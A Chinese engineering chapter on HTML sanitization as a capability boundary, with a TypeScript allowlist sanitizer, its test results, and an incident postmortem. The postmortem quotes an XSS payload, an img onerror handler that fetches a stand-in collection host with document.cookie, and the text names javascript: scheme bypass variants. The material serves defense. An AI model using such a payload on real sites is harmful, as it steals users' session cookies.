边界问题,不是标签表问题
这一节讨论的是谁能把 HTML 送进渲染器,以及送进来之后还剩哪些能力。它不重复 3.1 的块模型,也不讨论图片布局与 CLS,那是 3.3 的内容;服务端的内容审核、举报与封禁属于另一条线,这里不展开。
很多团队把 sanitize 理解成「维护一张危险标签黑名单」:去掉 <script>、去掉 onerror、去掉 javascript:。这种理解在 demo 里能跑,在生产里迟早出事,因为黑名单永远少一个变体,而解析器的行为比正则复杂得多。
更稳的定义是:sanitize 是一套能力边界。 对每一类内容来源,先回答「它允许拥有哪些能力」,再把这些能力翻译成标签、属性和 URL 协议的白名单。黑名单是补丁,白名单才是边界。
三类来源,三种信任级别
「回声」的正文渲染入口只有三个,但它们的信任模型完全不同:
| 来源 | 典型内容 | 允许的能力 | 策略 |
|---|---|---|---|
| 作者内容 | 编辑器产出的图文、粘贴的网页片段 | 基础排版、链接、图片 | author:严格白名单 |
| 运营配置 | 活动页、公告、专题卡片 | 更丰富的布局、表格、class | ops:较宽白名单,仍禁止脚本与 iframe |
| 第三方嵌入 | 视频播放器、外部互动组件 | 仅一个 iframe 能力 | embed:主机白名单 + 强制 sandbox |
这张表里最容易被误解的是第三行。第三方嵌入的信任级别不是「更高」,而是「更窄」:它不能写段落、不能写图片、不能写样式,只能申请一个 iframe,而且 iframe 的 src 必须落在白名单主机上,sandbox 由客户端强制写入,不接受内容方自带的值。
把「嵌入」当成「可信 HTML」是很多事故的起点。嵌入方的业务可信,不代表它传过来的每一个字节都可信;即使字节可信,也不代表它需要脚本、表单、弹窗这些能力。
白名单的四个决定
第一,标签白名单按来源分别维护。 作者内容只允许 p、br、strong、em、code、pre、blockquote、列表、链接、图片和少量标题;运营配置额外允许 div、span、figure、表格与 class;嵌入只允许 iframe、p、a。同一份 HTML 用不同策略过滤,结果必须不同。
第二,属性白名单跟着标签走。 a 只允许 href 和 title,img 只允许 src、alt、width、height。class 只在运营策略里出现,因为作者内容里的 class 会直接撞上站点样式;style 在任何策略里都不允许,它能把布局和部分浏览器行为一起改掉。
第三,URL 先解码再判协议。 javascript: 可以写成 javascript:、java\tscript:、JaVaScRiPt:。如果只对原始字符串做前缀匹配,这些变体都能绕过。正确顺序是:解码实体、去掉控制字符与空白、转小写,再判断 scheme。链接允许 http、https、mailto 和相对路径;图片允许 http、https 和相对路径;嵌入只允许绝对 https。
第四,危险标签要连内容一起丢。 对 script、style、template、noscript、object、embed、form、svg、math,不能只去掉标签、保留内部文本。<script>alert(1)</script> 如果只删标签,页面上会留下 alert(1);更糟的是,某些标签的内部文本会被后续解析器重新解释。整段跳过是唯一安全的选择。
先结构化再渲染,还是直接 sanitize HTML
两条路线都能得到安全页面,但成本位置不同:
| 路线 | 安全性来源 | 主要成本 | 适合场景 |
|---|---|---|---|
| 先结构化再渲染 | 数据形状本身不包含 HTML | 编辑器、服务端、客户端共用 schema | 作者正文、长期演进的内容 |
| 直接 sanitize HTML | 过滤器足够严格 | 过滤器要跟上解析器差异与变异攻击 | 运营旧配置、迁移期兜底 |
| 只给能力不给 HTML | 只暴露一个受控 iframe | 嵌入方能力受限 | 第三方播放器、互动组件 |
「回声」的选择是:作者正文走结构化,运营旧配置走 sanitize,第三方只走 iframe 能力。 这不是三条路线的优劣排序,而是按来源能力做匹配。作者内容每天大量产生、结构还会演进,用结构化最划算;运营配置存量是 HTML,短期换成块模型成本高,先用白名单兜住;第三方嵌入根本不需要通用 HTML,给它 iframe 反而最小。
需要强调的是,本节的 sanitizer 是一个教学用的词法过滤器,不是完整的 HTML 解析器。它按标签 token 扫描,能处理常见闭合、属性和协议绕过,但不能覆盖所有变异 XSS(mutation XSS)。生产环境如果要接受不可信 HTML,应该使用经过审计的解析器与 sanitizer 组合,或者干脆不接受 HTML。这一点在失败案例里还会展开。
一个可运行的 sanitizer
下面的实现属于 L1:输入字符串和块文档,输出字符串与报告,不依赖 DOM、网络或时钟。
// file: src/render/sanitize.ts
// tier: L1
// verify: node --test test/render/sanitize.test.ts
import type { InlineMark, InlineSpan, RichBlock, RichDocument } from "./blocks.ts";
export type TrustLevel = "author" | "ops" | "embed";
export type UrlKind = "link" | "image" | "embed";
export interface RenderPolicy {
trust: TrustLevel;
allowedTags: readonly string[];
allowedAttributes: Readonly<Record<string, readonly string[]>>;
embedHosts: readonly string[];
forceSandbox: string | null;
}
export interface SanitizeReport {
html: string;
removedTags: string[];
removedAttributes: string[];
blockedUrls: string[];
}
const AUTHOR_ATTRIBUTES: Record<string, readonly string[]> = {
a: ["href", "title"], img: ["src", "alt", "width", "height"],
};
const OPS_ATTRIBUTES: Record<string, readonly string[]> = {
...AUTHOR_ATTRIBUTES, div: ["class"], span: ["class"], figure: ["class"], figcaption: ["class"],
table: ["class"], th: ["colspan", "rowspan", "scope"], td: ["colspan", "rowspan"],
};
const AUTHOR_TAGS = [
"p", "br", "strong", "b", "em", "i", "code", "pre",
"blockquote", "ul", "ol", "li", "a", "img", "h2", "h3",
];
const OPS_TAGS = [
...AUTHOR_TAGS, "div", "span", "figure", "figcaption", "hr",
"table", "thead", "tbody", "tr", "th", "td",
];
export const POLICIES: Record<TrustLevel, RenderPolicy> = {
author: {
trust: "author", allowedTags: AUTHOR_TAGS, allowedAttributes: AUTHOR_ATTRIBUTES,
embedHosts: [], forceSandbox: null,
},
ops: {
trust: "ops", allowedTags: OPS_TAGS, allowedAttributes: OPS_ATTRIBUTES,
embedHosts: [], forceSandbox: null,
},
embed: {
trust: "embed", allowedTags: ["iframe", "p", "a"],
allowedAttributes: {
iframe: ["src", "title", "width", "height", "allowfullscreen"],
a: ["href", "title"],
},
embedHosts: ["player.example.com", "www.youtube-nocookie.com"],
forceSandbox: "allow-scripts allow-presentation allow-popups",
},
};
const VOID_TAGS = new Set(["br", "hr", "img"]);
const RAW_TEXT_DROP = new Set(["script", "style", "template", "noscript", "object", "embed", "form", "svg", "math"]);
const URL_ATTRIBUTES = new Set(["href", "src", "poster", "cite"]);
const TOKEN_PATTERN = /<!--[\s\S]*?-->|<\/?[a-zA-Z][^>]*>/g;
const ATTRIBUTE_PATTERN = /([a-zA-Z_:][-a-zA-Z0-9_:.]*)(?:\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'=<>`]+)))?/g;
const NAMED_ENTITIES: Record<string, string> = {
colon: ":", tab: "\t", newline: "\n", amp: "&", lt: "<", gt: ">", quot: '"', apos: "'", "#39": "'",
};
export function escapeHtml(value: string): string {
return value.replace(/&(?!(?:[a-zA-Z][a-zA-Z0-9]*|#\d+|#x[0-9a-f]+);)/gi, "&")
.replaceAll("<", "<").replaceAll(">", ">")
.replaceAll('"', """).replaceAll("'", "'");
}
function codePoint(value: number): string {
return Number.isFinite(value) && value >= 0 && value <= 0x10ffff ? String.fromCodePoint(value) : "";
}
function decodeEntities(value: string): string {
return value
.replace(/&#x([0-9a-f]+);?/gi, (_, hex: string) => codePoint(parseInt(hex, 16)))
.replace(/&#(\d+);?/g, (_, dec: string) => codePoint(parseInt(dec, 10)))
.replace(/&([a-z]+|#39);/gi, (_, name: string) => NAMED_ENTITIES[name.toLowerCase()] ?? "");
}
export function isSafeUrl(raw: string, kind: UrlKind): boolean {
const compact = decodeEntities(raw).replace(/[\u0000- \u007f]+/g, "").toLowerCase();
if (compact === "") return false;
const scheme = compact.match(/^([a-z][a-z0-9+.-]*):/);
if (!scheme) return kind !== "embed";
const name = scheme[1];
if (kind === "embed") return name === "https";
if (kind === "image") return name === "http" || name === "https";
return name === "http" || name === "https" || name === "mailto";
}
export function embedHost(raw: string): string | null {
try {
const url = new URL(decodeEntities(raw).trim());
return url.protocol === "https:" ? url.hostname.toLowerCase() : null;
} catch {
return null;
}
}
interface ParsedTag {
closing: boolean; name: string; selfClosing: boolean; attributes: Array<[string, string]>;
}
function parseTag(token: string): ParsedTag | null {
const inner = token.slice(1, -1);
const closing = inner.startsWith("/");
const body = closing ? inner.slice(1) : inner;
const selfClosing = /\/\s*$/.test(body);
const match = body.replace(/\/\s*$/, "").match(/^\s*([a-zA-Z][a-zA-Z0-9:-]*)([\s\S]*)$/);
if (!match) return null;
ATTRIBUTE_PATTERN.lastIndex = 0;
const attributes = [...match[2].matchAll(ATTRIBUTE_PATTERN)]
.map((attr): [string, string] => [attr[1].toLowerCase(), attr[2] ?? attr[3] ?? attr[4] ?? ""]);
return { closing, name: match[1].toLowerCase(), selfClosing, attributes };
}
function findRawTextEnd(input: string, name: string, from: number): number {
const pattern = new RegExp(`</${name}\\s*[^>]*>`, "ig");
pattern.lastIndex = from;
return pattern.exec(input) ? pattern.lastIndex : input.length;
}
function attributeAllowed(policy: RenderPolicy, tag: string, attribute: string): boolean {
return (policy.allowedAttributes[tag] ?? []).includes(attribute) && !attribute.startsWith("on");
}
function safeAttributes(
policy: RenderPolicy, tag: string, attributes: Array<[string, string]>, report: SanitizeReport,
): string[] {
const output: string[] = [];
for (const [name, value] of attributes) {
if (!attributeAllowed(policy, tag, name)) {
report.removedAttributes.push(name);
continue;
}
if (URL_ATTRIBUTES.has(name)) {
const kind: UrlKind = tag === "iframe" ? "embed" : name === "href" ? "link" : "image";
if (!isSafeUrl(value, kind)) {
report.blockedUrls.push(value);
continue;
}
}
output.push(name === "allowfullscreen" ? "allowfullscreen" : `${name}="${escapeHtml(value)}"`);
}
if (tag === "iframe" && policy.forceSandbox) output.push(`sandbox="${policy.forceSandbox}"`);
return output;
}
export function sanitizeHtml(input: string, trust: TrustLevel): SanitizeReport {
const policy = POLICIES[trust];
const report: SanitizeReport = { html: "", removedTags: [], removedAttributes: [], blockedUrls: [] };
let cursor = 0;
let token: RegExpExecArray | null;
TOKEN_PATTERN.lastIndex = 0;
while ((token = TOKEN_PATTERN.exec(input)) !== null) {
report.html += escapeHtml(input.slice(cursor, token.index));
cursor = TOKEN_PATTERN.lastIndex;
if (token[0].startsWith("<!--")) continue;
const parsed = parseTag(token[0]);
if (!parsed) continue;
const { closing, name, selfClosing, attributes } = parsed;
if (closing) {
if (policy.allowedTags.includes(name) && !VOID_TAGS.has(name)) report.html += `</${name}>`;
else report.removedTags.push(name);
continue;
}
if (RAW_TEXT_DROP.has(name) || !policy.allowedTags.includes(name)) {
report.removedTags.push(name);
if (RAW_TEXT_DROP.has(name) && !selfClosing) {
cursor = findRawTextEnd(input, name, TOKEN_PATTERN.lastIndex);
TOKEN_PATTERN.lastIndex = cursor;
}
continue;
}
if (name === "iframe") {
const src = attributes.find(([key]) => key === "src")?.[1] ?? "";
const host = embedHost(src);
if (!host || !policy.embedHosts.includes(host)) {
report.removedTags.push(name);
if (src !== "") report.blockedUrls.push(src);
if (!selfClosing) {
cursor = findRawTextEnd(input, name, TOKEN_PATTERN.lastIndex);
TOKEN_PATTERN.lastIndex = cursor;
}
continue;
}
}
const safe = safeAttributes(policy, name, attributes, report);
const tail = VOID_TAGS.has(name) || selfClosing ? " /" : "";
report.html += `<${name}${safe.length ? ` ${safe.join(" ")}` : ""}${tail}>`;
}
report.html += escapeHtml(input.slice(cursor));
return report;
}
function renderSpans(spans: InlineSpan[], report: SanitizeReport): string {
return spans.map((item) => {
let output = escapeHtml(item.text);
if (item.marks.some((mark) => mark.kind === "code")) output = `<code>${output}</code>`;
if (item.marks.some((mark) => mark.kind === "italic")) output = `<em>${output}</em>`;
if (item.marks.some((mark) => mark.kind === "bold")) output = `<strong>${output}</strong>`;
const link = item.marks.find((mark): mark is Extract<InlineMark, { kind: "link" }> => mark.kind === "link");
if (link && isSafeUrl(link.href, "link")) {
output = `<a href="${escapeHtml(link.href)}" rel="nofollow noopener noreferrer" target="_blank">${output}</a>`;
} else if (link) {
report.blockedUrls.push(link.href);
}
return output;
}).join("");
}
function renderBlock(block: RichBlock, report: SanitizeReport): string {
if (block.type === "paragraph") return `<p>${renderSpans(block.spans, report)}</p>`;
if (block.type === "quote") {
const footer = block.attribution ? `<footer>${escapeHtml(block.attribution)}</footer>` : "";
return `<blockquote><p>${renderSpans(block.spans, report)}</p>${footer}</blockquote>`;
}
if (block.type === "image") {
if (!isSafeUrl(block.src, "image")) {
report.blockedUrls.push(block.src);
return `<p>${escapeHtml(block.alt || "[图片已拦截]")}</p>`;
}
const size = `${block.width ? ` width="${block.width}"` : ""}${block.height ? ` height="${block.height}"` : ""}`;
return `<img src="${escapeHtml(block.src)}" alt="${escapeHtml(block.alt)}"${size} loading="lazy" />`;
}
if (block.type === "video") {
if (!isSafeUrl(block.src, "image")) { report.blockedUrls.push(block.src); return "<p>[视频已拦截]</p>"; }
const poster = block.poster && isSafeUrl(block.poster, "image") ? ` poster="${escapeHtml(block.poster)}"` : "";
return `<video src="${escapeHtml(block.src)}"${poster} controls preload="metadata"></video>`;
}
if (block.type === "code") {
const language = /^[a-z0-9-]+$/i.test(block.language) ? block.language.toLowerCase() : "text";
return `<pre><code class="language-${language}">${escapeHtml(block.code)}</code></pre>`;
}
report.removedTags.push(`unsupported:${block.originalType}`);
return "";
}
export function renderStructured(document: RichDocument): SanitizeReport {
const report: SanitizeReport = { html: "", removedTags: [], removedAttributes: [], blockedUrls: [] };
report.html = document.blocks.map((block) => renderBlock(block, report)).join("");
return report;
}
四个关键点
- 策略是数据。
POLICIES把标签、属性、嵌入主机和 sandbox 写成表,sanitizeHtml只接收trust参数,新增来源时改策略而不是加 if/else。 - 报告可观测。
removedTags、removedAttributes、blockedUrls让「谁在尝试嵌入 iframe」变成可查询事件,而不是把安全事件扔进黑洞。 - 结构化天然免疫注入。
renderStructured先转义文本、校验链接与图片,<script>只会变成字面量;安全来自数据形状,不靠事后补救。 - 嵌入能力要强制。
sandbox由策略强制追加,onload永远不在白名单;第三方只能决定播放哪个视频,不能决定拥有哪些浏览器能力。
测试与真实输出
$ node --test test/render/sanitize.test.ts
✔ 脚本标签连同内容被丢弃,事件属性被移除 (2.164083ms)
✔ javascript 协议与实体编码绕过都被拦截 (0.611583ms)
✔ 白名单链接、图片与已有实体被原样保留 (0.150333ms)
✔ 运营配置允许 class,作者内容不允许 (0.165667ms)
✔ 第三方嵌入只接受白名单主机的 https iframe,并强制 sandbox (0.285833ms)
✔ 作者内容不能嵌入 iframe,未闭合脚本会吞掉剩余输入 (0.117959ms)
✔ URL 判定区分链接、图片与嵌入三种用途 (0.086292ms)
✔ 结构化渲染天然转义文本,并拦截坏 URL 与未知块 (0.258459ms)
ℹ tests 8
ℹ suites 0
ℹ pass 8
ℹ fail 0
ℹ cancelled 0
ℹ skipped 0
ℹ todo 0
ℹ duration_ms 232.866958
八条用例分别覆盖:脚本连内容丢弃、实体编码的 javascript: 绕过、已有实体不被二次转义、运营与作者的 class 差异、嵌入主机与 sandbox、作者不能嵌入 iframe、三种 URL 用途的判定,以及结构化渲染对坏链接和未知块的处理。
其中「已有实体不被二次转义」是一条容易忽略的回归测试。最早版本的 escapeHtml 会把 & 变成 &amp;,页面上真的显示成 &。安全过滤器如果连正常文本都改坏,团队就会开始绕过它,最后过滤器名存实亡。
一次直接 innerHTML 的注入事故
事故发生在活动页。运营同学从外部网页复制了一段图文,粘进 CMS,客户端用 innerHTML 渲染。旧实现只做了一件事:用正则删掉 <script> 标签。
攻击载荷没有用 <script>,而是 <img src="x" onerror="fetch('https://collect.example/?c='+document.cookie)">。正则放行了 <img>,事件属性被原样保留,图片加载失败触发 onerror,Cookie 被发走。更糟的是,这段内容同时出现在信息流卡片和详情页,两个入口都用了同一个渲染函数。
复盘时发现三个独立问题:
- 用黑名单做安全。 只删
<script>,等于只防住了最笨的载荷。 - 所有来源共用一套策略。 作者内容、运营配置、第三方嵌入走同一个渲染函数,导致运营的宽权限被作者内容继承。
- 把会话令牌放在 Cookie 之外的可读位置。 前端把 token 写进了
localStorage,XSS 一旦成立,令牌直接可读。
修复顺序也值得记录。第一天先加 CSP 并下线活动页的 HTML 入口,止血;第一周把作者正文切到 3.1 的块模型,从根上消除 HTML;第二周给运营旧配置接上 ops 白名单,并把 iframe 单独抽成 embed 能力;最后才处理令牌存储,改成 HttpOnly Cookie 并加 SameSite。顺序的原则是:先缩小爆炸半径,再修根因,最后做体验优化。
这次事故还留下一条团队规则:任何新增的 HTML 渲染入口,必须同时提交三样东西——来源分类、对应策略、失败时的降级展示。没有这三样,代码评审直接拒绝。
运营配置为什么也要过滤
「运营是自己人」是另一条常见的错误假设。运营配置经过 CMS、复制粘贴、外包代运营、第三方模板等多个环节,任何一个环节都可能引入不可信字节。即使内容完全由内部同学手写,class 和 style 也可能破坏站点布局,iframe 也可能把整个页面带进一个不受控的播放器。所以 ops 策略比 author 宽,但不是无限宽:允许 class 是为了复用站点样式,允许表格是为了公告排版,允许 figure 是为了图文说明;脚本、事件属性、style、iframe 仍然一律拒绝。宽出来的每一格能力,都要能回答「为什么这一类内容需要它」。
小结
sanitize 的本质是能力边界:先按来源分配能力,再用标签、属性、URL 协议的白名单把能力落地。作者正文优先结构化,运营旧配置用较宽白名单兜底,第三方嵌入只给受控 iframe。过滤结果要可观测,危险标签要连内容一起丢,嵌入能力要强制而不是协商。
内容能安全地变成 DOM 之后,下一个问题是它会不会在加载过程中把页面撑来撑去。下一节讨论媒体懒加载、占位盒与 CLS 的端上来源。
阅读导航:上一节:3.1 结构化内容:把正文当成数据而不是 HTML 字符串 · 下一节:3.3 媒体懒加载与占位:CLS 的端上来源 。
常见错误与边界
- 用黑名单删
<script>就当 sanitize。事件属性、javascript:变体和变异 XSS 都会绕过。 - 所有来源共用一套策略。运营的宽权限会被作者内容继承,边界形同虚设。
- 只对原始字符串判协议。必须先解码实体、去控制字符,再判断 scheme。
- 危险标签只删标签、保留内容。脚本正文会变成可见文本,甚至被后续解析器重新解释。
- 允许
style或任意class。它们能破坏布局,也能成为部分浏览器的攻击面。 - 让嵌入方自带
sandbox。能力必须由客户端强制写入,不能协商。 - 认为教学级词法过滤器可以处理不可信 HTML。生产环境要用审计过的解析器,或直接拒绝 HTML。
- 把会话令牌放在
localStorage。XSS 一旦成立,令牌就是可读的。
继续阅读
探索更多技术文章
浏览归档,发现更多关于系统设计、工具链和工程实践的内容。